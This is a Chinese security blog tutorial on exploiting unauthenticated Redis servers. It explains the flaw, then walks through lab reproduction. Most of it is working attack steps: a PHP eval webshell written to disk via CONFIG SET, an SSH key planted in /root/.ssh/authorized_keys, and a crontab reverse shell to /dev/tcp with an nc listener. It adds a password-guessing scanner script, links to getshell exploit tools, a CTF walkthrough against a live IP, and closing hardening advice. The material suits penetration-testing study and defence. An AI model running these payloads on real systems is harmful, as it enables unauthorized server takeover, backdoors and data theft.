一、漏洞简介以及危害
1、什么是redis未授权访问漏洞
(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。
2、漏洞的危害
(1)攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;
(2)攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件;
(3)最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器
二、漏洞复现
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
(如果下载不下来的话:http://distfiles.macports.org/redis/)
启动redis服务进程后,就可以使用测试攻击机程序redis-cli和靶机的redis服务交互了。比如:
三、未授权访问漏洞测试
使用redis客户端直接无账号成功登录redis:
从登录的结果可以看出该redis服务对公网开放,且未启用认证。 1、利用redis写入shell
利用前提:
1.靶机redis链接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证
2.开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限
(我们可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件。)
这里由于本地搭建,我们已经知道目录,我们把shell写入/home/bmjoker/目录下:
注:
第三步写入webshell的时候,可以使用:
set x "rnrn<?php phpinfo();?>rnrn"
rnrn代表换行的意思,用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。 shell写入完成,我们在靶机上来证明: 成功写入shell。 当数据库过大时,redis写shell的小技巧:
set_time_limit(0);
$fp=fopen('bmjoker.php','w');
fwrite($fp,'<?php @eval($_POST["bmjoker"]);?>');
exit();
2、利用“公私钥”认证获取root权限
当redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器。 靶机中开启redis服务:redis-server /etc/redis.conf 在靶机中执行 mkdir /root/.ssh 命令,创建ssh公钥存放目录(靶机是作为ssh服务器使用的) 在攻击机中生成ssh公钥和私钥,密码设置为空:
进入.ssh目录:cd .ssh/,将生成的公钥保存到1.txt:
链接靶机上的redis服务, 将保存ssh的公钥1.txt写入redis(使用redis-cli -h ip命令连接靶机,将文件写入):
远程登录靶机的redis服务:redis-cli -h 192.168.0.104 并使用 CONFIG GET dir 命令得到redis备份的路径:
更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh):
设置上传公钥的备份文件名字为authorized_keys:
检查是否更改成功(查看有没有authorized_keys文件),没有问题就保存然后退出,
至此成功写入ssh公钥到靶机:
在攻击机上使用ssh免密登录靶机:ssh -i id_rsa [email protected]
利用私钥成功登录redis服务器!!!
3、利用crontab反弹shell
在权限足够的情况下,利用redis写入文件到计划任务目录下执行。
端口监听:
在攻击者服务器上监听一个端口(未被占用的任意端口):
nc -lvnp 4444
攻击详情:
连接redis,写入反弹shell
redis-cli -h 192.168.0.104
set xxx "nn*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.104/4444 0>&1nn"
config set dir /var/spool/cron
config set dbfilename root
save
过一分钟左右就可以收到shell。
四、Python脚本自动化测试
可用来测试是否存在未授权或弱口令的情况:
#! /usr/bin/env python
# _*_ coding:utf-8 _*_
import socket
import sys
PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
def check(ip, port, timeout):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("INFOrn")
result = s.recv(1024)
if "redis_version" in result:
return u"未授权访问"
elif "Authentication" in result:
for pass_ in PASSWORD_DIC:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("AUTH %srn" %(pass_))
result = s.recv(1024)
if '+OK' in result:
return u"存在弱口令,密码:%s" % (pass_)
except Exception, e:
pass
if __name__ == '__main__':
ip=sys.argv[1]
port=sys.argv[2]
print check(ip,port, timeout=10)
五、解决方案
1、比较安全的办法是采用绑定IP的方式来进行控制。
请在redis.conf文件找到如下配置
# If you want you can bind a single interface, if the bind option is not
# specified all the interfaces will listen for incoming connections.
#
# bind 127.0.0.1
把 #bind 127.0.0.1前面的注释#号去掉,然后把127.0.0.1改成你允许访问你的redis服务器的ip地址,表示只允许该ip进行访问,这种情况下,我们在启动redis服务器的时候不能再用:redis-server,改为:redis-server path/redis.conf 即在启动的时候指定需要加载的配置文件,其中path/是你上面修改的redis配置文件所在目录,这个方法有一点不太好,我难免有多台机器访问一个redis服务。
2、设置密码,以提供远程登陆
打开redis.conf配置文件,找到requirepass,然后修改如下:
requirepass yourpassword
yourpassword就是redis验证密码,设置密码以后发现可以登陆,但是无法执行命令了。
命令如下:
redis-cli -h yourIp -p yourPort//启动redis客户端,并连接服务器
keys * //输出服务器中的所有key
报错如下
(error) ERR operation not permitted
这时候你可以用授权命令进行授权,就不报错了
命令如下:
auth youpassword
-------------------------
-------------------------
-------------------------
补充
Redis配置错误导致的远程代码漏洞溯源
在刷墨者学院的题时,发现了这个不错的题,通过这个题了解Redis在低权限下的渗透思路: 给出了IP:219.153.49.228 ,同时也给出了俩个端口一个是web也就是http端口 419387,一个是redis数据库端口 48055 尝试用kali链接redis端口:
redis-cli -h 219.153.49.228 -p 48055
连接成功,本想用上文的方法,生成ssh密钥把内容写进redis数据库,然后把redis数据库的目录指定到/etc/.ssh/,这样就可以通过ssh直接连接服务器,但是这里权限不够,不能指定到/etc/.ssh/目录。
由于服务器是ubuntu的,apache容器,尝试指定一下默认的路径/var/www/html/来写入shell:
一波写入shell的操作,然后在web页面尝试访问我们写入shell的joker.php文件:
成功写入,尝试用菜刀链接,获取flag:
出现这样的问题还是权限控制的不足
----------------------------------------------
----------------------------------------------
----------------------------------------------
补充:
再网上收集两个比较方便的getshell python脚本 1.https://github.com/n0b0dyCN/redis-rogue-server 漏洞利用:
2.https://github.com/Ridter/redis-rce 漏洞利用:
反弹到其他服务器:
参考文章:
Redis 安装 http://www.runoob.com/redis/redis-install.html
Redis未授权访问漏洞 http://blog.csdn.net/Hu_wen/article/details/55189777?locationNum=15&fps=1
Redis 未授权访问配合 SSH key 文件利用分析 http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/
Redis未授权访问漏洞利用姿势 http://www.jianshu.com/p/e550628ba1bc
https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=36100&highlight=redis
本文作者:bmjoker
本文链接:https://www.cnblogs.com/bmjoker/p/9548962.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
没有专业运营团队,纯个人凭着空闲时间的学习,通过网络搜集与学习整理的资料记录并分享。
如果觉得文章对你有帮助,请支持下点击右下角“在看”
本文始发于微信公众号(LemonSec):Redis未授权访问漏洞复现与利用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论